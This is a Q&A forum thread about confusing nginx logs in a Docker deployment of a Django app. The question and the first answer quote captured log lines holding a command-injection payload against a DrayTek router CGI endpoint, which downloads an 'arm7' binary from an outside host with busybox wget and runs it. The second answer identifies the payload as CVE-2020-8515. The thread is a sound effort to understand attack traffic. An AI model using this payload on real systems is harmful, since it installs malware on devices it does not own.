nginx logs appear to show the wrong info - docker

Question

I'm running nginx with Django on a production server, with the following settings:
# normally you leave this at the default of 1024
events {
worker_connections 1024;
}
http {
# cf http://blog.maxcdn.com/accept-encoding-its-vary-important/
gzip_vary on;
gzip_proxied any;
gzip_types *;
# http://nginx.org/en/docs/http/configuring_https_servers.html#optimization
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 10m;
server_tokens off;
upstream django {
server webapp:8000;
}
# ---------------------------------------------------------------------------
# Production
#
# Use this configuration for a deployment. You'll have to configure SSL.
# ---------------------------------------------------------------------------
#server {
# # rewrite all HTTP to HTTPS
# listen 80;
# server_name ${NGINX_SERVER_NAME};
#
# return 301 https://${NGINX_SERVER_NAME}${DOLLAR}request_uri;
#}
# ---------------------------------------------------------------------------
# Development
#
# You may use this for development. It doesn't use SSL, making it unsafe.
# Remove this setting when moving to production.
# ---------------------------------------------------------------------------
server {
# rewrite all HTTP to HTTPS
listen 80;
server_name ${NGINX_SERVER_NAME};
location /static {
alias /srv/covidoff/static;
# http://stackoverflow.com/q/19213510/1346257
include /etc/nginx/mime.types;
}
location = /robots.txt { return 200 "User-agent: *\nAllow: /"; }
location = /favicon.ico { access_log off; log_not_found off; return 404; }
location / {
uwsgi_pass django;
include uwsgi_params;
}
}
server {
listen 443 ssl default_server;
server_name ${NGINX_SERVER_NAME};
# see http://nginx.org/en/docs/http/configuriNGINX_https_servers.html
ssl_certificate /etc/ssl/certs/${NGINX_CRT_NAME}.crt;
ssl_certificate_key /etc/ssl/private/${NGINX_KEY_NAME}.key;
ssl_prefer_server_ciphers on;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # ie defaults minus SSLv3
location /static {
alias /srv/covidoff/static;
# http://stackoverflow.com/q/19213510/1346257
include /etc/nginx/mime.types;
}
location = /robots.txt { return 200 "User-agent: *\nAllow: /"; }
location = /favicon.ico { access_log off; log_not_found off; return 404; }
location / {
uwsgi_pass django;
include uwsgi_params;
}
}
}
Note: I know that the settings aren't supposed to be like that because it doesn't use HTTPS, but that's what we're using at the moment. It should be fixed later.
One thing that is confusing me is that—given the Docker setup that was provided to me—there are two configuration nginx files, the other one being:
server {
listen 80;
location / {
proxy_pass http://localhost:8000;
proxy_redirect off;
}
}
Worst, is that the docker compose yaml file appears to be pointing to the second file, not the first, but it is the changes that I make to the first that reflect on the server.
version: "3"
volumes:
static-files:
driver: local
postgres:
driver: local
services:
db:
image: postgres:11.1
volumes:
- postgres:/var/lib/postgresql/data/pgdata
env_file:
- ./config/environment/development.env
expose:
- "5432"
webserver:
build: ./nginx
ports:
- "80:80"
- "443:443"
webapp:
build:
context: webapp
volumes:
- ./webapp/covidoff:/srv/covidoff
- static-files:/srv/static-files
ports:
- "8000:8000"
depends_on:
- db
env_file:
- ./config/environment/development.env
You can see the full project here.
Right now I'm not so worried about the server configuration, but it might be important for what I'm about to point out.
After launching (e.g. docker-compose up -d), I see the logs for nginx and they are... Well... Weird.
As you can see from the docker-compose, I have three services running: Django, nginx and Postgres. Using docker logs I see the Django service getting hit quite frequently by requests, but those requests are not showing on the nginx server.
Instead, nginx just shows stuff that I really don't get where it's coming from, such as this request for index.php:
124.156.160.69 - - [02/Apr/2020:18:05:24 +0000] "GET /websql/index.php HTTP/1.1" 502 559 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0" "-"
Or even GET /, since there's no such thing in deployment:
202.52.58.6 - - [02/Apr/2020:18:35:50 +0000] "GET / HTTP/1.1" 502 157 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" "-"
95.70.169.166 - - [02/Apr/2020:19:36:19 +0000] "GET / HTTP/1.1" 400 157 "-" "-" "-"
186.64.111.98 - - [02/Apr/2020:19:36:51 +0000] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1" 400 157 "-" "-" "-"
2020/04/02 20:18:20 [error] 8#8: *2171 connect() failed (111: Connection refused) while connecting to upstream, client: 209.17.97.2, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8000/", host: "34.242.160.202:80"
209.17.97.2 - - [02/Apr/2020:20:18:20 +0000] "GET / HTTP/1.1" 502 157 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)" "-"
What I need is the normal access.log, with the requests that are hitting django. I don't know what the logs for nginx are showing, or where those requests are coming from.
I the nginx docker container, if I run docker exec -it de807b6ad160 ls /var/log/nginx -la, I get:
lrwxrwxrwx 1 root root 11 Oct 21 19:02 access.log -> /dev/stdout
lrwxrwxrwx 1 root root 11 Oct 21 19:02 error.log -> /dev/stderr
Which means that the log files are empty and (rightfully) being redirected to stdout/stderr.
What am I missing?

Answer 1

Apparently that call to /cgi-bin/mainfunction.cgi is an exploit to create a remote login to your server, I just had the same call, I'm running a different web server, in my case is Apache
200.188.153.18 - - [03/Apr/2020:11:03:34 +0000] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1" 400 0 "-" "-"
The only difference I see is the IP is coming from and the response I'm giving (400)

Answer 2

Yap it's exploit and i find source code named like a "CVE-2020-8515: DrayTek pre-auth remote root RCE"
Check ur system for bad access. Have a nice day!
[1]: https://packetstormsecurity.com/files/156979/DrayTek-Vigor2960-Vigor3900-Vigor300B-Remote-Command-Execution.html